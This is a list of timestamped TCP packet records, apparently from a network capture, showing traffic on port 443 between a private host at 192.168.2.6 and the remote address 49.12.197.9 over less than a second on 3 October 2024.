Oct 3, 2024 03:36:18.615319967 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.615329027 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.615371943 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.616950989 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.616991997 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.617019892 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.617027044 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.617038012 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.617072105 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.624618053 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.624661922 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.624700069 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.624706984 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.624722958 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.624747992 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.643877983 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.643927097 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.643963099 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.643975019 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.643987894 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.644011974 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.656443119 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.656486034 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.656543016 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.656543016 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.656552076 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.656593084 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.668864012 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.668910980 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.668975115 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.668975115 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.668983936 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.669028044 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.677597046 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.677639961 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.677675962 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.677685022 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.677694082 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.677725077 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.688716888 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.688757896 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.688788891 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.688796997 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.688813925 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.688838005 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.702111006 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.702171087 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.702205896 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.702223063 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.702238083 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.702259064 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.703728914 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.703774929 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.703797102 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.703808069 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.703830004 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.703844070 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.711375952 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.711417913 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.711476088 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.711483955 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.711527109 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.711719990 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.730402946 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.730423927 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.730562925 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.730595112 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.730639935 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.743246078 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.743293047 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.743396997 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.743406057 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.743443012 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.743459940 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.755521059 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.755584002 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.755654097 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.755664110 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.755708933 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.755724907 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.764266968 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.764333963 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.764398098 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.764408112 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.764446020 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.764466047 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.774363041 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.774409056 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.774524927 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.774569035 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.774624109 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.774624109 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.789108038 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.789160013 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.789280891 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.789318085 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.789355993 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.789377928 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.790509939 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.790551901 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.790610075 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.790623903 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.790656090 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.790677071 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.798306942 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.798369884 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.798405886 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.798413992 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.798445940 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.798455000 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.817404032 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.817466021 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.817565918 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.817575932 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.817634106 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.830030918 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.830075979 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.830193996 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.830219030 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.830243111 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.830270052 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.842443943 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.842494011 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.842627048 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.842653036 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.842708111 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.851336956 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.851382017 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.851495981 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.851511955 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.851560116 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.851581097 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.861175060 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.861248970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.861351967 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.861366987 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.861422062 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.876096964 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.876143932 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.876250029 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.876267910 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.876292944 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.876312971 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.877266884 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.877306938 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.877345085 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.877357006 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.877382994 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.877402067 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.885235071 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.885281086 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.885426044 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.885446072 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.885474920 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.885499001 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.904876947 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.904896975 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.905061960 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.905093908 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.905141115 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.916763067 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.916809082 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.916882038 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.916889906 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.916945934 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.916945934 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.929070950 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.929094076 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.929218054 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.929231882 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.929275036 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.938122988 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.938184023 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.938273907 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.938302040 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.938324928 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.938344002 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.948370934 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.948426962 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.948539972 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.948556900 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.948615074 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.948616028 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.963676929 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.963743925 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.963936090 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.963937044 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.963993073 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.964057922 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.964356899 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.964406013 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.964437008 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.964449883 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.964478016 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.964504004 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.971728086 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.971751928 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.971832037 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.971839905 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.971870899 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.971888065 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.991838932 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.991871119 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.991993904 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.992006063 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.992053032 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.003633976 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.003659010 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.003740072 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.003750086 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.003793955 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.016154051 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.016179085 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.016278982 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.016288996 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.016331911 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.024852037 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.024888039 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.024991989 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.025001049 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.025046110 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.035258055 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.035286903 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.035356045 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.035368919 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.035398006 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.035413027 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.050256968 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.050312042 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.050379038 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.050390005 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.050416946 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.050436020 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.051141024 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.051184893 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.051214933 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.051222086 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.051249027 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.051263094 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.058800936 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.058845997 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.058898926 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.058908939 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.058934927 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.058952093 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.078593969 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.078638077 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.078707933 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.078721046 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.078749895 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.078769922 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.090389967 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.090435982 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.090503931 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.090517044 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.090531111 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.090559959 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.103005886 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.103049994 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.103140116 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.103154898 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.103190899 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.103209972 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.111699104 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.111758947 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.111805916 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.111818075 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.111839056 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.111855030 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.122024059 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.122045040 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.122123957 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.122134924 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.122174978 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.137411118 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.137454987 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.137527943 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.137541056 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.137569904 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.137588024 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.138098001 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.138142109 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.138185024 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.138197899 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.138225079 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.138246059 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.147459984 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.147502899 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.147561073 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.147579908 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.147612095 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.147630930 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.165399075 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.165421963 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.165570974 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.165581942 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.165630102 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.177174091 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.177195072 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.177289963 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.177299976 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.177345037 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.189829111 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.189860106 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.189960957 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.189971924 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.190012932 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.198666096 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.198689938 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.198769093 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.198776960 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.198818922 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.208952904 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.208975077 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.209050894 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.209057093 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.209096909 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.224250078 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224272013 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224359989 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.224368095 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224409103 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.224838018 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224854946 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224919081 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.224925995 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.224967957 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.234308004 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.234424114 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.234438896 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.234477997 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:19.234498024 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:19.234518051 CEST	49738	443	192.168.2.6	49.12.197.9
